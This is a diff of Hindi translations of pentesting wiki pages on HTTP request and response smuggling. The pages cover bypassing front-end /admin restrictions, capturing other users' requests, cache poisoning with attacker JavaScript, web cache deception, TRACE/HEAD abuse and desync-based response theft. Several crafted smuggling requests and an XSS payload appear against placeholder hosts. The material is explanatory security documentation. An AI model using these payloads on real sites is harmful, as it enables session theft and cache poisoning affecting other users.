- **Timing and Racing Conditions:** "सामान्य" अनुरोध, जो "हमला" अनुरोध से हस्तक्षेप का पता लगाने के लिए है, अन्य समवर्ती एप्लिकेशन अनुरोधों के खिलाफ प्रतिस्पर्धा करता है। इसलिए, "हमला" अनुरोध के तुरंत बाद "सामान्य" अनुरोध भेजें। व्यस्त एप्लिकेशन में निर्णायक कमजोरियों की पुष्टि के लिए कई प्रयासों की आवश्यकता हो सकती है।
|
||||
- **Timing and Racing Conditions:** "सामान्य" अनुरोध, जो "हमला" अनुरोध से हस्तक्षेप का पता लगाने के लिए है, अन्य समवर्ती एप्लिकेशन अनुरोधों के खिलाफ प्रतिस्पर्धा करता है। इसलिए, "हमला" अनुरोध के तुरंत बाद "सामान्य" अनुरोध भेजें। व्यस्त एप्लिकेशन में कमजोरियों की पुष्टि के लिए कई प्रयासों की आवश्यकता हो सकती है।
|
||||
- **Load Balancing Challenges:** फ्रंट-एंड सर्वर जो लोड बैलेंसर के रूप में कार्य करते हैं, अनुरोधों को विभिन्न बैक-एंड सिस्टमों में वितरित कर सकते हैं। यदि "हमला" और "सामान्य" अनुरोध विभिन्न सिस्टमों पर समाप्त होते हैं, तो हमला सफल नहीं होगा। यह लोड बैलेंसिंग पहलू कमजोरियों की पुष्टि के लिए कई प्रयासों की आवश्यकता कर सकता है।
|
||||
- **Unintended User Impact:** यदि आपका हमला अनजाने में किसी अन्य उपयोगकर्ता के अनुरोध (जो "सामान्य" अनुरोध नहीं है जिसे आपने पहचान के लिए भेजा था) को प्रभावित करता है, तो यह इंगित करता है कि आपके हमले ने किसी अन्य एप्लिकेशन उपयोगकर्ता को प्रभावित किया। निरंतर परीक्षण अन्य उपयोगकर्ताओं को बाधित कर सकता है, जिससे एक सतर्क दृष्टिकोण की आवश्यकता होती है।
|
||||
- **Unintended User Impact:** यदि आपका हमला अनजाने में किसी अन्य उपयोगकर्ता के अनुरोध (जो "सामान्य" अनुरोध नहीं है जिसे आपने पहचान के लिए भेजा था) को प्रभावित करता है, तो यह इंगित करता है कि आपका हमला किसी अन्य एप्लिकेशन उपयोगकर्ता को प्रभावित करता है। निरंतर परीक्षण अन्य उपयोगकर्ताओं को बाधित कर सकता है, जिससे एक सतर्क दृष्टिकोण की आवश्यकता होती है।
|
||||
|
||||
## Abusing HTTP Request Smuggling
|
||||
|
||||
### Circumventing Front-End Security via HTTP Request Smuggling
|
||||
|
||||
कभी-कभी, फ्रंट-एंड प्रॉक्सी सुरक्षा उपाय लागू करते हैं, आने वाले अनुरोधों की जांच करते हैं। हालाँकि, इन उपायों को HTTP Request Smuggling का उपयोग करके दरकिनार किया जा सकता है, जिससे प्रतिबंधित एंडपॉइंट्स तक अनधिकृत पहुँच प्राप्त होती है। उदाहरण के लिए, `/admin` तक पहुँच बाहरी रूप से प्रतिबंधित हो सकती है, फ्रंट-एंड प्रॉक्सी सक्रिय रूप से ऐसे प्रयासों को रोकती है। फिर भी, यह प्रॉक्सी एक स्मगल्ड HTTP अनुरोध के भीतर एम्बेडेड अनुरोधों की जांच करने में विफल हो सकती है, जिससे इन प्रतिबंधों को दरकिनार करने के लिए एक छिद्र खुलता है।
|
||||
कभी-कभी, फ्रंट-एंड प्रॉक्सी सुरक्षा उपाय लागू करते हैं, आने वाले अनुरोधों की जांच करते हैं। हालाँकि, इन उपायों को HTTP Request Smuggling का उपयोग करके दरकिनार किया जा सकता है, जिससे प्रतिबंधित एंडपॉइंट्स तक अनधिकृत पहुँच प्राप्त होती है। उदाहरण के लिए, `/admin` तक पहुँच बाहरी रूप से प्रतिबंधित हो सकती है, फ्रंट-एंड प्रॉक्सी सक्रिय रूप से ऐसे प्रयासों को रोकती है। फिर भी, यह प्रॉक्सी एक स्मगल्ड HTTP अनुरोध के भीतर एम्बेडेड अनुरोधों की जांच करने में विफल हो सकती है, जिससे इन प्रतिबंधों को दरकिनार करने के लिए एक छिद्र छोड़ दिया जाता है।
|
||||
|
||||
HTTP Request Smuggling का उपयोग करके फ्रंट-एंड सुरक्षा नियंत्रणों को दरकिनार करने के तरीके को दर्शाने वाले निम्नलिखित उदाहरणों पर विचार करें, विशेष रूप से `/admin` पथ को लक्षित करते हुए जो आमतौर पर फ्रंट-एंड प्रॉक्सी द्वारा संरक्षित होता है:
|
||||
|
||||
@ -326,7 +326,7 @@ a=x
|
||||
|
||||
ऐप्लिकेशन अक्सर एक **फ्रंट-एंड सर्वर** का उपयोग करते हैं ताकि आने वाले अनुरोधों को संशोधित किया जा सके इससे पहले कि उन्हें बैक-एंड सर्वर को भेजा जाए। एक सामान्य संशोधन में हेडर जोड़ना शामिल होता है, जैसे `X-Forwarded-For: <IP of the client>`, ताकि क्लाइंट का IP बैक-एंड को भेजा जा सके। इन संशोधनों को समझना महत्वपूर्ण हो सकता है, क्योंकि यह **सुरक्षाओं को बायपास करने** या **छिपी हुई जानकारी या एंडपॉइंट्स को उजागर करने** के तरीके प्रकट कर सकता है।
|
||||
|
||||
यह जांचने के लिए कि प्रॉक्सी एक अनुरोध को कैसे बदलती है, एक POST पैरामीटर खोजें जिसे बैक-एंड प्रतिक्रिया में दर्शाता है। फिर, इस पैरामीटर का उपयोग करते हुए एक अनुरोध तैयार करें, इसे अंतिम स्थान पर रखते हुए, निम्नलिखित के समान:
|
||||
यह जांचने के लिए कि प्रॉक्सी एक अनुरोध को कैसे बदलती है, एक POST पैरामीटर खोजें जिसे बैक-एंड प्रतिक्रिया में दर्शाता है। फिर, इस पैरामीटर का उपयोग करते हुए एक अनुरोध तैयार करें, इसे अंतिम में रखते हुए, निम्नलिखित के समान:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
@ -343,13 +343,13 @@ Content-Length: 100
|
||||
|
||||
search=
|
||||
```
|
||||
इस संरचना में, बाद के अनुरोध घटक `search=` के बाद जोड़े जाते हैं, जो प्रतिक्रिया में परिलक्षित पैरामीटर है। यह परावर्तन बाद के अनुरोध के हेडर को उजागर करेगा।
|
||||
इस संरचना में, बाद के अनुरोध घटक `search=` के बाद जोड़े जाते हैं, जो प्रतिक्रिया में परिलक्षित होने वाला पैरामीटर है। यह परावर्तन बाद के अनुरोध के हेडर को उजागर करेगा।
|
||||
|
||||
यह महत्वपूर्ण है कि नेस्टेड अनुरोध के `Content-Length` हेडर को वास्तविक सामग्री की लंबाई के साथ संरेखित किया जाए। एक छोटे मान से शुरू करना और धीरे-धीरे बढ़ाना सलाहकार है, क्योंकि बहुत कम मान परावर्तित डेटा को काट देगा, जबकि बहुत उच्च मान अनुरोध को त्रुटि में डाल सकता है।
|
||||
|
||||
यह तकनीक TE.CL भेद्यता के संदर्भ में भी लागू होती है, लेकिन अनुरोध को `search=\r\n0` के साथ समाप्त होना चाहिए। नई लाइन के वर्णों की परवाह किए बिना, मान खोज पैरामीटर में जोड़े जाएंगे।
|
||||
|
||||
यह विधि मुख्य रूप से फ्रंट-एंड प्रॉक्सी द्वारा किए गए अनुरोध संशोधनों को समझने के लिए है, जो मूल रूप से एक आत्म-निर्देशित जांच कर रही है।
|
||||
यह विधि मुख्य रूप से फ्रंट-एंड प्रॉक्सी द्वारा किए गए अनुरोध संशोधनों को समझने के लिए है, मूल रूप से एक आत्म-निर्देशित जांच करते हुए।
|
||||
|
||||
### अन्य उपयोगकर्ताओं के अनुरोधों को कैप्चर करना <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
@ -377,7 +377,7 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
|
||||
```
|
||||
इस परिदृश्य में, **comment parameter** का उद्देश्य एक सार्वजनिक रूप से सुलभ पृष्ठ पर एक पोस्ट की टिप्पणी अनुभाग के भीतर सामग्री को संग्रहीत करना है। परिणामस्वरूप, अगले अनुरोध की सामग्री एक टिप्पणी के रूप में दिखाई देगी।
|
||||
|
||||
हालांकि, इस तकनीक की सीमाएँ हैं। सामान्यतः, यह केवल उस पैरामीटर डेलिमिटर तक डेटा कैप्चर करता है जो स्मगल्ड अनुरोध में उपयोग किया जाता है। URL-encoded फॉर्म सबमिशन के लिए, यह डेलिमिटर `&` चर है। इसका मतलब है कि पीड़ित उपयोगकर्ता के अनुरोध से कैप्चर की गई सामग्री पहले `&` पर रुक जाएगी, जो कि क्वेरी स्ट्रिंग का हिस्सा भी हो सकती है।
|
||||
हालांकि, इस तकनीक की सीमाएँ हैं। सामान्यतः, यह केवल उस पैरामीटर डेलिमिटर तक डेटा कैप्चर करता है जो स्मगल्ड अनुरोध में उपयोग किया जाता है। URL-encoded फॉर्म सबमिशन के लिए, यह डेलिमिटर `&` वर्ण है। इसका मतलब है कि पीड़ित उपयोगकर्ता के अनुरोध से कैप्चर की गई सामग्री पहले `&` पर रुक जाएगी, जो कि क्वेरी स्ट्रिंग का हिस्सा भी हो सकती है।
|
||||
|
||||
इसके अतिरिक्त, यह ध्यान देने योग्य है कि यह दृष्टिकोण TE.CL भेद्यता के साथ भी व्यवहार्य है। ऐसे मामलों में, अनुरोध को `search=\r\n0` के साथ समाप्त होना चाहिए। नई लाइन वर्णों की परवाह किए बिना, मान खोज पैरामीटर में जोड़े जाएंगे।
|
||||
|
||||
@ -422,13 +422,13 @@ A=
|
||||
> [!CAUTION]
|
||||
> यदि उपयोगकर्ता की सामग्री एक **`Content-type`** के साथ प्रतिक्रिया में परिलक्षित होती है जैसे कि **`text/plain`**, तो XSS के निष्पादन को रोकता है। यदि सर्वर **HTTP/0.9 का समर्थन करता है तो इसे बायपास करना संभव हो सकता है**!
|
||||
|
||||
संस्करण HTTP/0.9 पहले 1.0 से था और केवल **GET** क्रियाओं का उपयोग करता है और **हेडर** के साथ प्रतिक्रिया नहीं करता है, केवल शरीर के साथ।
|
||||
संस्करण HTTP/0.9 पहले 1.0 से था और केवल **GET** क्रियाओं का उपयोग करता है और **हेडर** के साथ प्रतिक्रिया नहीं करता, केवल शरीर के साथ।
|
||||
|
||||
[**इस लेख**](https://mizu.re/post/twisty-python) में, इसका दुरुपयोग एक अनुरोध स्मगलिंग और एक **कमजोर एंडपॉइंट के साथ किया गया जो उपयोगकर्ता के इनपुट के साथ प्रतिक्रिया देगा** ताकि HTTP/0.9 के साथ एक अनुरोध को स्मगल किया जा सके। प्रतिक्रिया में परिलक्षित होने वाला पैरामीटर एक **नकली HTTP/1.1 प्रतिक्रिया (हेडर और शरीर के साथ)** था ताकि प्रतिक्रिया में एक वैध निष्पादन योग्य JS कोड `Content-Type` के साथ `text/html` हो।
|
||||
[**इस लेख**](https://mizu.re/post/twisty-python) में, इसका दुरुपयोग एक अनुरोध स्मगलिंग और एक **कमजोर एंडपॉइंट के साथ किया गया जो उपयोगकर्ता के इनपुट के साथ प्रतिक्रिया देगा** ताकि HTTP/0.9 के साथ एक अनुरोध को स्मगल किया जा सके। प्रतिक्रिया में परिलक्षित होने वाला पैरामीटर एक **नकली HTTP/1.1 प्रतिक्रिया (हेडर और शरीर के साथ)** था ताकि प्रतिक्रिया में `text/html` के `Content-Type` के साथ मान्य निष्पादन योग्य JS कोड शामिल हो सके।
|
||||
|
||||
### HTTP अनुरोध स्मगलिंग के साथ ऑन-साइट रीडायरेक्ट्स का लाभ उठाना <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
ऐप्लिकेशन अक्सर `Host` हेडर से रीडायरेक्ट URL में होस्टनेम का उपयोग करके एक URL से दूसरे URL पर रीडायरेक्ट करते हैं। यह Apache और IIS जैसे वेब सर्वरों के साथ सामान्य है। उदाहरण के लिए, बिना ट्रेलिंग स्लैश के एक फ़ोल्डर का अनुरोध करने पर रीडायरेक्ट होता है ताकि स्लैश शामिल किया जा सके:
|
||||
ऐप्लिकेशन अक्सर `Host` हेडर से होस्टनाम का उपयोग करके एक URL से दूसरे URL पर रीडायरेक्ट करते हैं। यह Apache और IIS जैसे वेब सर्वरों के साथ सामान्य है। उदाहरण के लिए, बिना ट्रेलिंग स्लैश के एक फ़ोल्डर का अनुरोध करने पर रीडायरेक्ट होता है ताकि स्लैश शामिल किया जा सके:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
@ -472,9 +472,9 @@ Web cache poisoning को निष्पादित किया जा स
|
||||
|
||||
पहले, हमने देखा कि सर्वर की प्रतिक्रियाओं को 404 त्रुटि लौटाने के लिए कैसे बदला जा सकता है (देखें [Basic Examples](./#basic-examples))। इसी तरह, सर्वर को `/static/include.js` के लिए अनुरोध के जवाब में `/index.html` सामग्री देने के लिए धोखा देना संभव है। परिणामस्वरूप, `/static/include.js` की सामग्री को कैश में `/index.html` की सामग्री से बदल दिया जाता है, जिससे `/static/include.js` उपयोगकर्ताओं के लिए अनुपलब्ध हो जाता है, जो संभावित रूप से Denial of Service (DoS) का कारण बन सकता है।
|
||||
|
||||
यह तकनीक विशेष रूप से शक्तिशाली हो जाती है यदि **Open Redirect vulnerability** का पता लगाया जाता है या यदि **ओन-साइट रीडायरेक्ट को ओपन रीडायरेक्ट** किया जाता है। ऐसी कमजोरियों का उपयोग `/static/include.js` की कैश की गई सामग्री को हमलावर के नियंत्रण में एक स्क्रिप्ट के साथ बदलने के लिए किया जा सकता है, जिससे सभी क्लाइंट्स के खिलाफ एक व्यापक Cross-Site Scripting (XSS) हमले की अनुमति मिलती है जो अपडेटेड `/static/include.js` का अनुरोध करते हैं।
|
||||
यह तकनीक विशेष रूप से शक्तिशाली हो जाती है यदि **Open Redirect vulnerability** का पता लगाया जाता है या यदि **एक ओपन रीडायरेक्ट के लिए ऑन-साइट रीडायरेक्ट** होता है। ऐसी कमजोरियों का उपयोग करके `/static/include.js` की कैश की गई सामग्री को हमलावर के नियंत्रण में एक स्क्रिप्ट के साथ बदलने के लिए शोषण किया जा सकता है, जिससे सभी क्लाइंट्स के खिलाफ एक व्यापक Cross-Site Scripting (XSS) हमले की अनुमति मिलती है जो अपडेटेड `/static/include.js` का अनुरोध करते हैं।
|
||||
|
||||
नीचे **कैश ज़हर देने के साथ ओन-साइट रीडायरेक्ट को ओपन रीडायरेक्ट** के संयोजन के शोषण का एक चित्रण है। उद्देश्य है `/static/include.js` की कैश सामग्री को हमलावर द्वारा नियंत्रित JavaScript कोड सर्व करने के लिए बदलना:
|
||||
नीचे **कैश ज़हर देने के साथ ऑन-साइट रीडायरेक्ट को ओपन रीडायरेक्ट** के संयोजन के शोषण का एक चित्रण है। उद्देश्य यह है कि `/static/include.js` की कैश सामग्री को हमलावर द्वारा नियंत्रित JavaScript कोड प्रदान करने के लिए बदला जाए:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
@ -496,13 +496,13 @@ x=1
|
||||
|
||||
सफल **socket poisoning** के बाद, `/static/include.js` के लिए एक **GET request** शुरू की जानी चाहिए। यह अनुरोध पूर्व के **on-site redirect to open redirect** अनुरोध द्वारा संदूषित होगा और हमलावर द्वारा नियंत्रित स्क्रिप्ट की सामग्री लाएगा।
|
||||
|
||||
इसके बाद, `/static/include.js` के लिए कोई भी अनुरोध हमलावर की स्क्रिप्ट की कैश की गई सामग्री प्रदान करेगा, प्रभावी रूप से एक व्यापक XSS हमले को लॉन्च करेगा।
|
||||
इसके बाद, `/static/include.js` के लिए कोई भी अनुरोध हमलावर की स्क्रिप्ट की कैश की गई सामग्री को सेवा देगा, प्रभावी रूप से एक व्यापक XSS हमले को लॉन्च करेगा।
|
||||
|
||||
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **वेब कैश पॉइज़निंग और वेब कैश धोखाधड़ी में क्या अंतर है?**
|
||||
>
|
||||
> - **वेब कैश पॉइज़निंग** में, हमलावर एप्लिकेशन को कैश में कुछ दुर्भावनापूर्ण सामग्री संग्रहीत करने के लिए मजबूर करता है, और यह सामग्री अन्य एप्लिकेशन उपयोगकर्ताओं को कैश से प्रदान की जाती है।
|
||||
> - **वेब कैश पॉइज़निंग** में, हमलावर एप्लिकेशन को कैश में कुछ दुर्भावनापूर्ण सामग्री संग्रहीत करने के लिए मजबूर करता है, और यह सामग्री अन्य एप्लिकेशन उपयोगकर्ताओं को कैश से सेवा दी जाती है।
|
||||
> - **वेब कैश धोखाधड़ी** में, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की कुछ संवेदनशील सामग्री कैश में संग्रहीत करने के लिए मजबूर करता है, और फिर हमलावर इस सामग्री को कैश से पुनः प्राप्त करता है।
|
||||
|
||||
हमलावर एक स्मगल्ड अनुरोध तैयार करता है जो संवेदनशील उपयोगकर्ता-विशिष्ट सामग्री लाता है। निम्नलिखित उदाहरण पर विचार करें:
|
||||
@ -516,7 +516,7 @@ x=1
|
||||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
यदि यह स्मगल्ड अनुरोध स्थिर सामग्री के लिए अभिप्रेत कैश प्रविष्टि को विषाक्त करता है (जैसे, `/someimage.png`), तो पीड़ित का संवेदनशील डेटा `/private/messages` से स्थिर सामग्री के कैश प्रविष्टि के तहत कैश किया जा सकता है। परिणामस्वरूप, हमलावर संभावित रूप से इन कैश किए गए संवेदनशील डेटा को पुनः प्राप्त कर सकता है।
|
||||
यदि यह स्मगल किया गया अनुरोध स्थिर सामग्री (जैसे, `/someimage.png`) के लिए अभिप्रेत कैश प्रविष्टि को विषाक्त करता है, तो पीड़ित का संवेदनशील डेटा `/private/messages` से स्थिर सामग्री की कैश प्रविष्टि के तहत कैश किया जा सकता है। परिणामस्वरूप, हमलावर संभावित रूप से इन कैश किए गए संवेदनशील डेटा को पुनः प्राप्त कर सकता है।
|
||||
|
||||
### HTTP अनुरोध स्मगलिंग के माध्यम से TRACE का दुरुपयोग <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
@ -538,14 +538,14 @@ XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
एक उदाहरण कि इस व्यवहार का कैसे दुरुपयोग किया जा सकता है, वह है **पहले एक HEAD अनुरोध को स्मगल करना**। इस अनुरोध का उत्तर केवल **GET अनुरोध के हेडर** के साथ दिया जाएगा (**`Content-Type`** उनमें से एक)। और **HEAD के तुरंत बाद एक TRACE अनुरोध को स्मगल करना**, जो **भेजे गए डेटा को दर्शाएगा**।\
|
||||
चूंकि HEAD प्रतिक्रिया में एक `Content-Length` हेडर होगा, **TRACE अनुरोध की प्रतिक्रिया को HEAD प्रतिक्रिया के शरीर के रूप में माना जाएगा, इसलिए यह प्रतिक्रिया में मनमाना डेटा दर्शाएगा**।\
|
||||
यह प्रतिक्रिया कनेक्शन पर अगले अनुरोध को भेजी जाएगी, इसलिए इसका **उदाहरण के लिए एक कैश किए गए JS फ़ाइल में मनमाना JS कोड इंजेक्ट करने के लिए उपयोग किया जा सकता है**।
|
||||
चूंकि HEAD प्रतिक्रिया में एक `Content-Length` हेडर होगा, **TRACE अनुरोध की प्रतिक्रिया को HEAD प्रतिक्रिया के शरीर के रूप में माना जाएगा, इसलिए यह प्रतिक्रिया में मनमाने डेटा को दर्शाएगा**।\
|
||||
यह प्रतिक्रिया कनेक्शन पर अगले अनुरोध को भेजी जाएगी, इसलिए इसे **उदाहरण के लिए एक कैश किए गए JS फ़ाइल में मनमाने JS कोड को इंजेक्ट करने के लिए उपयोग किया जा सकता है**।
|
||||
|
||||
### HTTP प्रतिक्रिया विभाजन के माध्यम से TRACE का दुरुपयोग <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**इस पोस्ट**](https://portswigger.net/research/trace-desync-attack) का पालन करना TRACE विधि के दुरुपयोग का एक और तरीका सुझाता है। जैसा कि टिप्पणी की गई है, एक HEAD अनुरोध और एक TRACE अनुरोध को स्मगल करना संभव है **HEAD अनुरोध की प्रतिक्रिया में कुछ दर्शाए गए डेटा को नियंत्रित करना**। HEAD अनुरोध के शरीर की लंबाई मूल रूप से Content-Length हेडर में संकेतित होती है और यह TRACE अनुरोध की प्रतिक्रिया द्वारा बनाई जाती है।
|
||||
[**इस पोस्ट**](https://portswigger.net/research/trace-desync-attack) का पालन करना TRACE विधि के दुरुपयोग का एक और तरीका सुझाता है। जैसा कि टिप्पणी की गई है, एक HEAD अनुरोध और एक TRACE अनुरोध को स्मगल करके यह संभव है कि **HEAD अनुरोध की प्रतिक्रिया में कुछ दर्शाए गए डेटा को नियंत्रित किया जा सके**। HEAD अनुरोध के शरीर की लंबाई मूल रूप से Content-Length हेडर में संकेतित होती है और यह TRACE अनुरोध की प्रतिक्रिया द्वारा बनाई जाती है।
|
||||
|
||||
इसलिए, नया विचार यह होगा कि, इस Content-Length और TRACE प्रतिक्रिया में दिए गए डेटा को जानते हुए, TRACE प्रतिक्रिया को Content-Length के अंतिम बाइट के बाद एक मान्य HTTP प्रतिक्रिया शामिल करने की अनुमति दी जा सकती है, जिससे एक हमलावर को अगले प्रतिक्रिया के अनुरोध को पूरी तरह से नियंत्रित करने की अनुमति मिलती है (जिसका उपयोग कैश विषाक्तता करने के लिए किया जा सकता है)।
|
||||
इसलिए, नया विचार यह होगा कि, इस Content-Length और TRACE प्रतिक्रिया में दिए गए डेटा को जानते हुए, यह संभव है कि TRACE प्रतिक्रिया में Content-Length के अंतिम बाइट के बाद एक मान्य HTTP प्रतिक्रिया हो, जिससे एक हमलावर को अगले प्रतिक्रिया के अनुरोध को पूरी तरह से नियंत्रित करने की अनुमति मिलती है (जिसका उपयोग कैश विषाक्तता करने के लिए किया जा सकता है)।
|
||||
|
||||
उदाहरण:
|
||||
```
|
||||
@ -587,29 +587,29 @@ Content-Length: 50
|
||||
|
||||
<script>alert(“arbitrary response”)</script>
|
||||
```
|
||||
### HTTP अनुरोध स्मगलिंग को HTTP प्रतिक्रिया असंगति के साथ हथियार बनाना
|
||||
### HTTP Request Smuggling को HTTP Response Desynchronisation के साथ हथियार बनाना
|
||||
|
||||
क्या आपने कुछ HTTP अनुरोध स्मगलिंग कमजोरियों का पता लगाया है और आप नहीं जानते कि इसका लाभ कैसे उठाना है। इन अन्य शोषण विधियों को आजमाएं:
|
||||
क्या आपने कुछ HTTP Request Smuggling की कमजोरी पाई है और आप इसे कैसे भुनाना है नहीं जानते। इन अन्य शोषण विधियों को आजमाएं:
|
||||
|
||||
{{#ref}}
|
||||
../http-response-smuggling-desync.md
|
||||
{{#endref}}
|
||||
|
||||
### अन्य HTTP अनुरोध स्मगलिंग तकनीकें
|
||||
### अन्य HTTP Request Smuggling तकनीकें
|
||||
|
||||
- ब्राउज़र HTTP अनुरोध स्मगलिंग (क्लाइंट साइड)
|
||||
- ब्राउज़र HTTP Request Smuggling (क्लाइंट साइड)
|
||||
|
||||
{{#ref}}
|
||||
browser-http-request-smuggling.md
|
||||
{{#endref}}
|
||||
|
||||
- HTTP/2 डाउनग्रेड में अनुरोध स्मगलिंग
|
||||
- HTTP/2 डाउनग्रेड में Request Smuggling
|
||||
|
||||
{{#ref}}
|
||||
request-smuggling-in-http-2-downgrades.md
|
||||
{{#endref}}
|
||||
|
||||
## टर्बो इंट्रूडर स्क्रिप्ट्स
|
||||
## Turbo intruder स्क्रिप्ट
|
||||
|
||||
### CL.TE
|
||||
|
||||
|
@ -14,15 +14,15 @@
|
||||
|
||||
### HTTP Pipeline Desync
|
||||
|
||||
HTTP/1.1 **पिछले संसाधनों के लिए इंतजार किए बिना विभिन्न संसाधनों के लिए पूछने** की अनुमति देता है। इसलिए, यदि **बीच में एक प्रॉक्सी** है, तो प्रॉक्सी का कार्य **बैकएंड को भेजे गए requests और उससे आने वाली प्रतिक्रियाओं का एक समन्वित मिलान बनाए रखना** है।
|
||||
HTTP/1.1 **पिछले संसाधनों के लिए इंतजार किए बिना विभिन्न संसाधनों के लिए पूछने** की अनुमति देता है। इसलिए, यदि बीच में एक **प्रॉक्सी** है, तो यह प्रॉक्सी का कार्य है कि वह **बैकएंड को भेजे गए requests और उससे आने वाली प्रतिक्रियाओं का एक समन्वयित मिलान बनाए रखे**।
|
||||
|
||||
हालांकि, प्रतिक्रियाओं की कतार को असंक्रमित करने में एक समस्या है। यदि एक हमलावर एक HTTP Response smuggling हमला भेजता है और **प्रारंभिक request और स्मगल्ड request** के लिए प्रतिक्रियाएं तुरंत दी जाती हैं, तो स्मगल्ड प्रतिक्रिया पीड़ित की प्रतिक्रिया की कतार में नहीं डाली जाएगी बल्कि **केवल एक त्रुटि के रूप में अस्वीकार कर दी जाएगी**।
|
||||
|
||||
.png>)
|
||||
|
||||
इसलिए, यह आवश्यक है कि **स्मगल्ड request** को बैक-एंड सर्वर के अंदर **प्रसंस्कृत होने में अधिक समय लगे**। इसलिए, जब तक स्मगल्ड request संसाधित होती है, तब तक हमलावर के साथ संचार समाप्त हो जाएगा।
|
||||
इसलिए, यह आवश्यक है कि **स्मगल्ड** **request** **प्रोसेस होने में अधिक समय ले**। इसलिए, जब तक स्मगल्ड request प्रोसेस होती है, तब तक हमलावर के साथ संचार समाप्त हो जाएगा।
|
||||
|
||||
यदि इस विशेष स्थिति में एक **पीड़ित ने एक request भेजी** और **स्मगल्ड request को वैध request से पहले** उत्तर दिया गया, तो **स्मगल्ड प्रतिक्रिया पीड़ित को भेजी जाएगी**। इसलिए, हमलावर **पीड़ित द्वारा "प्रदर्शित" request को नियंत्रित करेगा**।
|
||||
यदि इस विशेष स्थिति में एक **पीड़ित ने एक request भेजी** और **स्मगल्ड request** को वैध request से पहले उत्तर दिया गया, तो **स्मगल्ड प्रतिक्रिया पीड़ित को भेजी जाएगी**। इसलिए, हमलावर **पीड़ित द्वारा "प्रदर्शित" request को नियंत्रित करेगा**।
|
||||
|
||||
इसके अलावा, यदि **हमलावर फिर एक request करता है** और **पीड़ित** की request का **वैध उत्तर** **हमलावर की request से पहले** **उत्तर दिया जाता है**। **पीड़ित के लिए प्रतिक्रिया हमलावर को भेजी जाएगी**, **पीड़ित की प्रतिक्रिया को चुराते हुए** (जिसमें उदाहरण के लिए **Set-Cookie** हेडर हो सकता है)।
|
||||
|
||||
@ -34,13 +34,13 @@ HTTP/1.1 **पिछले संसाधनों के लिए इंत
|
||||
|
||||
सामान्य **HTTP Request Smuggling** के साथ एक और **दिलचस्प अंतर** यह है कि, एक सामान्य स्मगलिंग हमले में, **लक्ष्य** **पीड़ित के request के प्रारंभ को संशोधित करना** है ताकि यह एक अप्रत्याशित क्रिया करे। एक **HTTP Response smuggling हमले** में, चूंकि आप **पूर्ण requests भेज रहे हैं**, आप **एक payload में दर्जनों प्रतिक्रियाएं इंजेक्ट कर सकते हैं** जो **दर्जनों उपयोगकर्ताओं को असंक्रमित** कर देंगी जो **इंजेक्ट की गई** **प्रतिक्रियाएं प्राप्त कर रहे हैं**।
|
||||
|
||||
वैध उपयोगकर्ताओं के बीच दर्जनों **शोषणों को अधिक आसानी से वितरित** करने के अलावा, इसका उपयोग सर्वर में **DoS** उत्पन्न करने के लिए भी किया जा सकता है।
|
||||
वैध उपयोगकर्ताओं के बीच **दर्जनों exploits को अधिक आसानी से वितरित** करने के अलावा, इसका उपयोग सर्वर में **DoS** उत्पन्न करने के लिए भी किया जा सकता है।
|
||||
|
||||
### Exploit Organisation
|
||||
|
||||
जैसा कि पहले समझाया गया है, इस तकनीक का दुरुपयोग करने के लिए, यह आवश्यक है कि **सर्वर में पहला स्मगल्ड संदेश** **प्रसंस्कृत होने में बहुत अधिक समय ले**।
|
||||
जैसा कि पहले समझाया गया है, इस तकनीक का दुरुपयोग करने के लिए, यह आवश्यक है कि **सर्वर में पहला स्मगल्ड संदेश** **प्रोसेस होने में बहुत समय ले**।
|
||||
|
||||
यदि हम केवल **पीड़ित की प्रतिक्रिया चुराने** की कोशिश करना चाहते हैं तो यह **समय लेने वाला request पर्याप्त है**। लेकिन यदि आप एक अधिक जटिल शोषण करना चाहते हैं तो यह शोषण के लिए एक सामान्य संरचना होगी।
|
||||
यदि हम केवल **पीड़ित की प्रतिक्रिया चुराने** की कोशिश कर रहे हैं तो यह **समय लेने वाला request पर्याप्त है**। लेकिन यदि आप एक अधिक जटिल exploit करना चाहते हैं तो यह exploit के लिए एक सामान्य संरचना होगी।
|
||||
|
||||
सबसे पहले **HTTP** **Request** **smuggling** का दुरुपयोग करते हुए **प्रारंभिक** request, फिर **समय लेने वाला request** और फिर **1 या अधिक payload requests** जिनकी प्रतिक्रियाएं पीड़ितों को भेजी जाएंगी।
|
||||
|
||||
@ -50,11 +50,11 @@ HTTP/1.1 **पिछले संसाधनों के लिए इंत
|
||||
|
||||
HTTP Request Smuggling के ज्ञात payloads के साथ, आप **पीड़ित के request को चुरा सकते हैं** जिसमें एक महत्वपूर्ण अंतर है: इस मामले में आपको केवल **प्रतिक्रिया में परावर्तित सामग्री भेजने की आवश्यकता है**, **कोई स्थायी भंडारण** आवश्यक नहीं है।
|
||||
|
||||
सबसे पहले, हमलावर एक payload भेजता है जिसमें **परावर्तित पैरामीटर** के साथ एक **अंतिम POST request** और एक बड़ा Content-Length होता है।
|
||||
पहले, हमलावर एक payload भेजता है जिसमें **परावर्तित पैरामीटर** के साथ एक **अंतिम POST request** और एक बड़ा Content-Length होता है।
|
||||
|
||||
.png>)
|
||||
|
||||
